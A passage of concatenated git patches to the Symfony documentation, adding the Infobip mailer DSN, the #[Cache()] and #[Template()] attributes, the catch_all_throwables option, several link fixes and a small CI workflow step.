index 0e476113907..32d04ec5a54 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -111,6 +111,7 @@ Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 MailPace            ``composer require symfony/mailpace-mailer``
+Infobip             ``composer require symfony/infobip-mailer``
 ==================  ==============================================
 
 .. versionadded:: 6.2
@@ -118,6 +119,10 @@ MailPace            ``composer require symfony/mailpace-mailer``
     The ``MailPace`` integration was introduced in Symfony 6.2 (in previous
     Symfony versions it was called ``OhMySMTP``).
 
+.. versionadded:: 6.2
+
+    The Infobip integration was introduced in Symfony 6.2.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -167,6 +172,7 @@ MailPace             mailpace+api://API_TOKEN@default                     n/a
 Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+Infobip              infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::

From 1894141283a74fa6b90eea7f71d609444c538ece Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 15:00:11 +0200
Subject: [PATCH 3408/7107] Add #[Cache()] attribute

---
 http_cache.rst            | 52 ++++++++++++++++++++++++++----------
 http_cache/cache_vary.rst | 30 +++++++++++++++------
 http_cache/esi.rst        | 41 ++++++++++++++++++++++-------
 http_cache/expiration.rst | 52 ++++++++++++++++++++++++++++--------
 http_cache/ssi.rst        | 55 +++++++++++++++++++++++++++++----------
 5 files changed, 173 insertions(+), 57 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 377c588202f..6ac54544c3d 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -191,24 +191,44 @@ Expiration Caching
 
 The *easiest* way to cache a response is by caching it for a specific amount of time::
 
-    // src/Controller/BlogController.php
-    use Symfony\Component\HttpFoundation\Response;
-    // ...
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(public: true, maxage: 3600, mustRevalidate: true)]
+        public function index()
+        {
+            return $this->render('blog/index.html.twig', []);
+        }
+
+    .. code-block:: php
 
-    public function index()
-    {
-        // somehow create a Response object, like by rendering a template
-        $response = $this->render('blog/index.html.twig', []);
+        // src/Controller/BlogController.php
+        use Symfony\Component\HttpFoundation\Response;
+        // ...
 
-        // cache publicly for 3600 seconds
-        $response->setPublic();
-        $response->setMaxAge(3600);
+        public function index()
+        {
+            // somehow create a Response object, like by rendering a template
+            $response = $this->render('blog/index.html.twig', []);
 
-        // (optional) set a custom Cache-Control directive
-        $response->headers->addCacheControlDirective('must-revalidate', true);
+            // cache publicly for 3600 seconds
+            $response->setPublic();
+            $response->setMaxAge(3600);
 
-        return $response;
-    }
+            // (optional) set a custom Cache-Control directive
+            $response->headers->addCacheControlDirective('must-revalidate', true);
+
+            return $response;
+        }
+
+.. versionadded:: 6.2
+
+    The ``#[Cache()]`` attribute was introduced in Symfony 6.2.
 
 Thanks to this new code, your HTTP response will have the following header:
 
@@ -316,6 +336,10 @@ Additionally, most cache-related HTTP headers can be set via the single
         'etag'             => 'abcdef'
     ]);
 
+.. tip::
+
+    All these options are also available when using the ``#[Cache()]`` attribute.
+
 Cache Invalidation
 ------------------
 
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index 1dbbf9a0fc4..fe9026d8d83 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -32,14 +32,28 @@ trigger a different representation of the requested resource:
     resource based on the URI and the value of the ``Accept-Encoding`` and
     ``User-Agent`` request header.
 
-The ``Response`` object offers a clean interface for managing the ``Vary``
-header::
+Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache()]``
+attribute::
 
-    // sets one vary header
-    $response->setVary('Accept-Encoding');
+.. configuration-block::
 
-    // sets multiple vary headers
-    $response->setVary(['Accept-Encoding', 'User-Agent']);
+    .. code-block:: php-attributes
 
-The ``setVary()`` method takes a header name or an array of header names for
-which the response varies.
+        // this attribute takes an array with the name of the header(s)
+        // names for which the response varies
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(vary: ['Accept-Encoding'])]
+        #[Cache(vary: ['Accept-Encoding', 'User-Agent'])]
+        public function index()
+        {
+            // ...
+        }
+
+    .. code-block:: php
+
+        // this method takes a header name or an array of header names for
+        // which the response varies
+        $response->setVary('Accept-Encoding');
+        $response->setVary(['Accept-Encoding', 'User-Agent']);
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index f05fa195a22..9b320f3bf5e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -166,20 +166,41 @@ used ``render()``.
 The embedded action can now specify its own caching rules entirely independently
 of the main page::
 
-    // src/Controller/NewsController.php
-    namespace App\Controller;
+.. configuration-block::
 
-    // ...
-    class NewsController extends AbstractController
-    {
-        public function latest($maxPerPage)
+    .. code-block:: php-attributes
+
+        // src/Controller/NewsController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        class NewsController extends AbstractController
         {
-            // sets to public and adds some expiration
-            $response->setSharedMaxAge(60);
+            #[Cache(smaxage: 60)]
+            public function latest($maxPerPage)
+            {
+                // ...
+            }
+        }
 
-            return $response;
+    .. code-block:: php
+
+        // src/Controller/NewsController.php
+        namespace App\Controller;
+
+        // ...
+        class NewsController extends AbstractController
+        {
+            public function latest($maxPerPage)
+            {
+                // sets to public and adds some expiration
+                $response->setSharedMaxAge(60);
+
+                return $response;
+            }
         }
-    }
 
 In this example, the embedded action is cached publicly too because the contents
 are the same for all requests. However, in other cases you may need to make this
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index ae436e631ee..cc92f689403 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -24,10 +24,25 @@ Expiration with the ``Cache-Control`` Header
 Most of the time, you will use the ``Cache-Control`` header, which
 is used to specify many different cache directives::
 
-    // sets the number of seconds after which the response
-    // should no longer be considered fresh by shared caches
-    $response->setPublic();
-    $response->setMaxAge(600);
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(public: true, maxage: 600)]
+        public function index()
+        {
+            // ...
+        }
+
+    .. code-block:: php
+
+        // sets the number of seconds after which the response
+        // should no longer be considered fresh by shared caches
+        $response->setPublic();
+        $response->setMaxAge(600);
 
 The ``Cache-Control`` header would take on the following format (it may have
 additional directives):
@@ -57,13 +72,28 @@ or disadvantage to either.
 
 According to the HTTP specification, "the ``Expires`` header field gives
 the date/time after which the response is considered stale." The ``Expires``
-header can be set with the ``setExpires()`` ``Response`` method. It takes a
-``DateTime`` instance as an argument::
+header can be set with the ``expires`` option of the ``#[Cache()]`` attribute or
+the ``setExpires()`` ``Response`` method::
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(expires: '+600 seconds')]
+        public function index()
+        {
+            // ...
+        }
+
+    .. code-block:: php
 
-    $date = new DateTime();
-    $date->modify('+600 seconds');
+        $date = new DateTime();
+        $date->modify('+600 seconds');
 
-    $response->setExpires($date);
+        $response->setExpires($date);
 
 The resulting HTTP header will look like this:
 
@@ -73,8 +103,8 @@ The resulting HTTP header will look like this:
 
 .. note::
 
-    The ``setExpires()`` method automatically converts the date to the GMT
-    timezone as required by the specification.
+    The ``expires` option and the ``setExpires()`` method automatically convert
+    the date to the GMT timezone as required by the specification.
 
 Note that in HTTP versions before 1.1 the origin server wasn't required to
 send the ``Date`` header. Consequently, the cache (e.g. the browser) might
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 23459588a33..449edfe5e5b 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -88,28 +88,55 @@ Suppose you have a page with private content like a Profile page and you want
 to cache a static GDPR content block. With SSI, you can add some expiration
 on this block and keep the page private::
 
-    // src/Controller/ProfileController.php
-    namespace App\Controller;
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Controller/ProfileController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
 
-    // ...
-    class ProfileController extends AbstractController
-    {
-        public function index(): Response
+        class ProfileController extends AbstractController
         {
-            // by default, responses are private
-            return $this->render('profile/index.html.twig');
+            public function index(): Response
+            {
+                // by default, responses are private
+                return $this->render('profile/index.html.twig');
+            }
+
+            #[Cache(smaxage: 600)]
+            public function gdpr(): Response
+            {
+                return $this->render('profile/gdpr.html.twig');
+            }
         }
 
-        public function gdpr(): Response
+    .. code-block:: php
+
+        // src/Controller/ProfileController.php
+        namespace App\Controller;
+
+        // ...
+        class ProfileController extends AbstractController
         {
-            $response = $this->render('profile/gdpr.html.twig');
+            public function index(): Response
+            {
+                // by default, responses are private
+                return $this->render('profile/index.html.twig');
+            }
+
+            public function gdpr(): Response
+            {
+                $response = $this->render('profile/gdpr.html.twig');
 
-            // sets to public and adds some expiration
-            $response->setSharedMaxAge(600);
+                // sets to public and adds some expiration
+                $response->setSharedMaxAge(600);
 
-            return $response;
+                return $response;
+            }
         }
-    }
 
 The profile index page has not public caching, but the GDPR block has
 10 minutes of expiration. Let's include this block into the main one:

From 2c57a5b6207ceabd93a7d550ab76384078bf852a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 16:00:29 +0200
Subject: [PATCH 3409/7107] [HttpKernel] Document the catch_all_throwables
 option

---
 reference/configuration/framework.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 73b35de2336..8595a2cc281 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,6 +53,20 @@ will invalidate all signed URIs and Remember Me cookies. That's why, after
 changing this value, you should regenerate the application cache and log
 out all the application users.
 
+catch_all_throwables
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
+thrown by the application and will turn them into HTTP reponses.
+
+Starting from Symfony 7.0, the default value of this option will be ``true``.
+
+.. versionadded:: 6.2
+
+    The ``catch_all_throwables`` option was introduced in Symfony 6.2.
+
 .. _configuration-framework-http_cache:
 
 http_cache

From ee0f4108f1d01b28508ed2b477bebd6a216e4511 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 16:36:16 +0200
Subject: [PATCH 3410/7107] [Notifier] Mention the "test" option of SmsApi

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 34934e681b5..30893558654 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -86,7 +86,7 @@ Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PAS
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM&test=0``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
@@ -101,6 +101,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
     The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
     The ``no_stop_clause`` option in ``OvhCloud`` DSN was introduced in Symfony 6.1.
+    The ``test`` option in ``Smsapi`` DSN was introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 9600a879cf666da13c7acb4c7afac5c03dc790f0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:07:46 +0200
Subject: [PATCH 3411/7107] Improve the explanation of the setfacl command
 usage

---
 setup/file_permissions.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index f3e250fbb9f..7bf2d0bf035 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -44,7 +44,8 @@ server user and grant the needed permissions:
 .. code-block:: terminal
 
     $ HTTPDUSER=$(ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\  -f1)
-    # if this doesn't work, try adding `-n` option
+
+    # if the following commands don't work, try adding `-n` option to `setfacl`
 
     # set permissions for future files and folders
     $ sudo setfacl -dR -m u:"$HTTPDUSER":rwX -m u:$(whoami):rwX var

From 0960134dd2ce2df09293c4c7777e09bbc582276d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:44:50 +0200
Subject: [PATCH 3412/7107] [HttpCache] Update a link to Varnish cookie docs

---
 http_cache/varnish.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index d94e1dbcf7e..cd78237bd4b 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -235,7 +235,7 @@ proxy before it has expired, it adds complexity to your caching setup.
 
 .. _`Varnish`: https://varnish-cache.org/
 .. _`Edge Architecture`: http://www.w3.org/TR/edge-arch
-.. _`clean the cookies header`: https://varnish-cache.org/trac/wiki/VCLExampleRemovingSomeCookies
+.. _`clean the cookies header`: https://varnish-cache.org/docs/7.0/reference/vmod_cookie.html
 .. _`Surrogate-Capability Header`: http://www.w3.org/TR/edge-arch
 .. _`cache invalidation`: https://tools.ietf.org/html/rfc2616#section-13.10
 .. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.io/en/latest/features/user-context.html

From bf85ab38c5a7342413565a135b05427e4c8b9454 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 18 Jul 2022 22:04:03 +0200
Subject: [PATCH 3413/7107] added enable http cache xml example

---
 http_cache.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/http_cache.rst b/http_cache.rst
index e4efce9077c..458839c371e 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -89,6 +89,26 @@ Use the ``framework.http_cache`` option to enable the proxy for the
             framework:
                 http_cache: true
 
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <when env="prod">
+              <framework:config>
+                  <!-- ... -->
+                  <framework:http-cache enabled="true"/>
+              </framework:config>
+            </when>
+        </container>
+
     .. code-block:: php
 
         // config/packages/framework.php

From e34c9d070298755999b0568fa762673287399ade Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 18 Jul 2022 22:21:53 +0200
Subject: [PATCH 3414/7107] added validation model ref link

---
 http_cache/validation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 599d0883b52..bf96112a88a 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -9,7 +9,7 @@ data, the expiration model falls short. With the `expiration model`_, the
 application won't be asked to return the updated response until the cache
 finally becomes stale.
 
-The validation model addresses this issue. Under this model, the cache continues
+The `validation model`_ addresses this issue. Under this model, the cache continues
 to store responses. The difference is that, for each request, the cache asks the
 application if the cached response is still valid or if it needs to be regenerated.
 If the cache *is* still valid, your application should return a 304 status code
@@ -235,6 +235,7 @@ headers that must not be present for ``304`` responses (see
 :method:`Symfony\\Component\\HttpFoundation\\Response::setNotModified`).
 
 .. _`expiration model`: https://tools.ietf.org/html/rfc2616#section-13.2
+.. _`validation model`: https://tools.ietf.org/html/rfc2616#section-13.3
 .. _`HTTP ETag`: https://en.wikipedia.org/wiki/HTTP_ETag
 .. _`DeflateAlterETag`: https://httpd.apache.org/docs/trunk/mod/mod_deflate.html#deflatealteretag
 .. _`BrotliAlterETag`: https://httpd.apache.org/docs/2.4/mod/mod_brotli.html#brotlialteretag

From b80500756b4cfdb33393cd937d2fae1f12951fbd Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 19 Jul 2022 10:14:47 +0200
Subject: [PATCH 3415/7107] [Security] Add link to page with expressions

---
 security.rst             | 1 +
 security/expressions.rst | 4 ++--
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 9639d7c7e9a..a658f9d5049 100644
--- a/security.rst
+++ b/security.rst
@@ -1092,6 +1092,7 @@ Authorization (Denying Access)
 .. toctree::
     :maxdepth: 1
 
+    security/expressions
     security/voters
     security/securing_services
     security/access_control
diff --git a/security/expressions.rst b/security/expressions.rst
index 3c3aa6e0795..e8e17524142 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Expressions in the Framework
 
-Security: Complex Access Controls with Expressions
+Complex Access Controls with Expressions
 ==================================================
 
 .. seealso::
@@ -14,7 +14,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
     // src/Controller/MyController.php
     namespace App\Controller;
-    
+
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\ExpressionLanguage\Expression;
     use Symfony\Component\HttpFoundation\Response;

From facd25d17258f4205e1943723e7a1b858211d248 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 12:33:37 +0200
Subject: [PATCH 3416/7107] [Security] Mention the SensitiveParameter attribute

---
 security.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security.rst b/security.rst
index 72ec1c16ba4..80521622bcc 100644
--- a/security.rst
+++ b/security.rst
@@ -474,6 +474,12 @@ You can also manually hash a password by running:
 Read more about all available hashers and password migration in
 :doc:`security/passwords`.
 
+.. versionadded:: 6.2
+
+    In applications using Symfony 6.2 and PHP 8.2 or newer, the
+    `SensitiveParameter PHP attribute`_ is applied to all plain passwords and
+    sensitive tokens so they don't appear in stack traces.
+
 .. _firewalls-authentication:
 .. _a-authentication-firewalls:
 
@@ -2658,3 +2664,4 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
+.. _`SensitiveParameter PHP attribute`: https://wiki.php.net/rfc/redact_parameters_in_back_traces

From 3abdbc3fb4699c13bac9e3258621d2cb147774c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 15:32:35 +0200
Subject: [PATCH 3417/7107] [Security] Document the getFirewallConfig() method

---
 security.rst | 38 ++++++++++++++++++++++++++++++++++++--
 1 file changed, 36 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 72ec1c16ba4..5971291ee46 100644
--- a/security.rst
+++ b/security.rst
@@ -599,8 +599,42 @@ anything else within your firewall in the :ref:`access control
 
         $ composer require --dev symfony/profiler-pack
 
-Now that we understand our firewall, the next step is to create a way for your
-users to authenticate!
+Fetching the Firewall Configuration for a Request
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to get the configuration of the firewall that matched a given request,
+use the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
+
+    // src/Service/ExampleService.php
+    // ...
+
+    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Component\HttpFoundation\RequestStack;
+
+    class ExampleService
+    {
+        private Security $security;
+
+        public function __construct(Security $security, RequestStack $requestStack)
+        {
+            $this->requestStack = $requestStack;
+            // Avoid calling getFirewallConfig() in the constructor: auth may not
+            // be complete yet. Instead, store the entire Security object.
+            $this->security = $security;
+        }
+
+        public function someMethod()
+        {
+            $request = $this->requestStack->getCurrentRequest();
+            $firewallName = $this->security->getFirewallConfig($request)?->getName();
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The ``getFirewallConfig()`` method was introduced in Symfony 6.2.
 
 .. _security-authenticators:
 

From 112e6bb27c4b82d364725b70c21b0a91586fb28b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 11:42:37 +0200
Subject: [PATCH 3418/7107] Add #[Template()] attribute

---
 best_practices.rst         |  8 --------
 components/http_kernel.rst | 13 ++++++-------
 templates.rst              | 32 ++++++++++++++++++++++++++++++++
 3 files changed, 38 insertions(+), 15 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index a955c35920a..63db9f9a94d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -234,14 +234,6 @@ configuration. You don't need to browse several files created with different
 formats (YAML, XML, PHP): all the configuration is just where you need it and
 it only uses one format.
 
-Don't Use Annotations to Configure the Controller Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``@Template`` annotation is useful, but also involves some *magic*.
-Moreover, most of the time ``@Template`` is used without any parameters, which
-makes it more difficult to know which template is being rendered. It also hides
-the fact that a controller should always return a ``Response`` object.
-
 Use Dependency Injection to Get Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 370e960c95f..cfaa8efab96 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -409,12 +409,12 @@ return a ``Response``.
 
 .. sidebar:: ``kernel.view`` in the Symfony Framework
 
-    There is no default listener inside the Symfony Framework for the ``kernel.view``
-    event. However, `SensioFrameworkExtraBundle`_ *does* add a listener to this
-    event. If your controller returns an array, and you place the `@Template`_
-    annotation above the controller, then this listener renders a template,
-    passes the array you returned from your controller to that template, and
-    creates a ``Response`` containing the returned content from that template.
+    There is a default listener inside the Symfony Framework for the ``kernel.view``
+    event. If your controller action returns an array, and you apply the
+    :ref:`#[Template()] attribute <templates-template-attribute>` to that
+    controller action, then this listener renders a template, passes the array
+    you returned from your controller to that template, and creates a ``Response``
+    containing the returned content from that template.
 
     Additionally, a popular community bundle `FOSRestBundle`_ implements
     a listener on this event which aims to give you a robust view layer
@@ -751,5 +751,4 @@ Learn more
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
-.. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/templates.rst b/templates.rst
index e406445787b..9448756c3e7 100644
--- a/templates.rst
+++ b/templates.rst
@@ -470,6 +470,38 @@ If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and
 use the ``render()`` method of the ``twig`` service.
 
+.. _templates-template-attribute:
+
+Another option is to use the ``#[Template()]`` attribute on the controller method
+to define the template to render::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class ProductController extends AbstractController
+    {
+        #[Template('product/index.html.twig')]
+        public function index()
+        {
+            // ...
+
+            // when using the #[Template()] attribute, you only need to return
+            // an array with the parameters to pass to the template (the attribute
+            // is the one which will create and return the Response object).
+            return [
+                'category' => '...',
+                'promotions' => ['...', '...'],
+            ];
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The ``#[Template()]`` attribute was introduced in Symfony 6.2.
+
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f2419796809c7eecf94f364584daacba15fe0114 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 20 Jul 2022 01:32:00 +0200
Subject: [PATCH 3419/7107] Fix link to CacheInterface

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3388e0eecc9..54c47dfe145 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2554,7 +2554,7 @@ cache
 **type**: ``string``
 
 The service that is used to persist class metadata in a cache. The service
-has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`.
+has to implement the :class:`Symfony\\Contracts\\Cache\\CacheInterface`.
 
 Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC
 cache provided by the Doctrine project.

From fb505de41c695d00240ba40fb8380dac514051c3 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 16:20:52 -0400
Subject: [PATCH 3420/7107] [ci] allow flex to run in CI

---
 .github/workflows/ci.yaml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 87ccb0b1d75..7174f5d4cf2 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -116,6 +116,11 @@ jobs:
             if: ${{ steps.find-files.outputs.files }}
             run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
+          - name: Allow Flex
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              composer config --no-plugins allow-plugins.symfony/flex true
+
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |

From 7be6387fb70d218029456102b46eac1930785aa3 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 17:35:21 -0400
Subject: [PATCH 3421/7107] [DI] add missing linter exception

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3e716028b86..d20f3387b76 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -91,6 +91,7 @@ whitelist:
         - '.. versionadded:: 1.8' # MakerBundle
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
+        - '.. versionadded:: 5.1' # Private Services
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst

From 6b0c6f296c8db1a9ac0e0ccee5ece966d24c3c82 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 21 Jul 2022 16:47:35 +0200
Subject: [PATCH 3422/7107] [Debug] Add `resolve-env` option documentation of
 `debug:config` command

---
 reference/configuration/debug.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index e77ee6e7bd6..1a0246eb0d1 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -16,6 +16,12 @@ key in your application configuration.
     # displays the actual config values used by your application
     $ php bin/console debug:config debug
 
+.. note::
+
+    The ``--resolve-env`` option is available with the ``debug:config``
+    command, which will resolved environment variables when
+    displaying the configuration values.
+
 .. note::
 
     When using XML, you must use the ``http://symfony.com/schema/dic/debug``

From 8c0fdcba5daa8f029a736e56640a536a881b0288 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Thu, 21 Jul 2022 17:36:46 +0200
Subject: [PATCH 3423/7107] Added toHex method to AbstractUid class

---
 components/uid.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index d81e593f812..29d6911ba70 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -84,6 +84,7 @@ Use these methods to transform the UUID object into different bases::
